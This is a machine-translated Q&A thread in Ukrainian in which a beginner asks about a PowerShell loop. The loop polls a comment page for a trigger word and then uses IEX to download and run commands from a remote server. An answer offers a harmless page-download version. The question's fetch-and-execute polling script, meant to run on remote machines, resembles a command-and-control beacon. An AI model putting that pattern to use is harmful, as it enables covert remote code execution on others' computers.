Powershell | DownloadString | Зовнішній веб-сайт | Повернення


0

Я абсолютно новачок, тому будь ласка, будьте поблажливі;)

Я намагаюся написати сценарій, коли машина перевіряє зовнішній веб-сайт, очікуючи слова: "тест", щоб виконати завантаження. Все відбувається так:

$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")

While($True) {
  $CommentResult = $WebClientObject.DownloadString($comment)
  $Found = $CommentResult.contains($Word)

  If ($Found) {
    IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
    #Task_to_do and some blabla commands
    Return
  }
  Start-Sleep -Seconds 60
}

Я запускаю powerhell 2.0. Windows7

Що трапилось:

  • завантаження не виконується через Інтернет
  • це не проблема, що надходить із IP-адрес чи шляхів

Що я зробив далі:

  • Я безпосередньо записую різні команди у вікні powerhell:

-> Хоча ($ True) ініціює нескінченний цикл, не виходячи з нього.

Щоб зробити трюк, мені потрібно "повернути подвійне клацання на моїй клавіатурі", закінчення циклу і команда "downloadstring" остаточно виконується.

Ще пам’ятайте, що я більше, ніж новачок, правда? :(

  • Я намагався "зламати" "повернути" або "вийти", але неможливо вийти з циклу.
  • Я намагався також без жодного успіху вписати у свій сценарій багато подвійних вагонів.

Хтось, будь ласка, вкаже мені спосіб зробити цю просту річ ...? :)

Дуже дякую.

ОНОВЛЕННЯ Ці маленькі рядки повинні використовуватися різними людьми в різних місцях (це одна з причин депортованого веб-сайту), і я просто не маю можливості оновити віддалені машини до нової версії powerhell. Якщо у когось є контакт з гуру повноважень Майкрософт, це буде просто величезною допомогою. Дякую всім хлопці


Я дійсно не розумію, що ви намагаєтесь зробити ... Ви завантажуєте веб-сторінку, шукаєте рядок і, якщо знайдете, ви завантажуєте іншу сторінку? Це ви хочете досягти? Чому ви перекидаєтеся знову і знову під час циклу? Якщо його знайшли, завантажте файл і це все, правда? Тепер ви робите це нескінченно.
mwilczynski

Відповіді:


0

Ось, ось простий приклад того, що я думаю, що ви намагаєтесь зробити:

$Path = New-Object System.Uri("http://localwire.pl/");
$WebClient = New-Object Net.WebClient;
$Word = "PhraseThatDoesNotExist"

While ($True){

    $Result = $WebClient.DownloadString($Path);
    $Found = $Result.Contains($Word);

    If ($Found){
        $Path = New-Object System.Uri("http://stackoverflow.com");
        $NewResult = $WebClient.DownloadString($Path);
        Write-Host "Found!"
        Break;
    } Else {
        Write-Host "Not found!"
    }
    Start-Sleep -s 5
}

Ми завантажуємо одну веб-сторінку, і якщо вона містить фразу, яку ми шукали, ми завантажуємо іншу сторінку. Я сподіваюся, що я правильно вас зрозумів. Якщо ні, будь ласка, повідомте нам, що саме вам потрібно.


Дякую за відповіді та, щоб бути більш зрозумілим: я хочу, щоб слово, написане на веб-сторінці, викликало завантаження файлу з іншої віддаленої машини. Ідея полягає в тому, щоб мати можливість їхати з точки А, точка В, щоб вона шукала інформацію в точці C. Я використовую певний час, щоб точка B завжди "слухала" вказівки, надані пунктом А. Я хочу цього операція може бути в часі повторення. Але я роблю це, мабуть, дуже незграбно. Велике спасибі за вашу допомогу.
tomah grandjean

Гаразд, я відредагував код, і тепер він чекає, щоб перевірити ще раз. Це не найкрасивіша ідея бути чесним, але робити те, що ти хочеш.
mwilczynski

На жаль, це не вирішує проблему. Я залишаюсь у нескінченному циклі, який візьме на себе системний контроль. Мені потрібно ключове слово, наприклад, "тест", який викликав завантаження дій. один раз, але машина слухає черговий порядок завантаження. Я сподіваюся, що не буде занадто заплутаним.
tomah grandjean

якщо бути більш точним і менш складним: так як все це здається на моєму рівні: Коли я ініціюю цикл часу в моєму швидкому впорядкуванні, у мене з'являється цей символ >>, який чекає на більше аргументів). Я закінчив цикл знаком "}". Але символ >> все ще є. Я знову зобов'язаний натиснути клавішу повернення на клавіатурі, щоб відтворити замовлення. Як я можу зробити це зі скрипту, а не з підказки повноважень? Я спробував поставити "Повернення" (у своєму початковому сценарії) після "}". Нічого. Ні з "Перерва", ні "Вихід" замість "Повернення".
tomah grandjean

Я також намагався поставити 'r або' n в цьому кінці мого сценарію, не маючи більше успіху ..
tomah grandjean
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.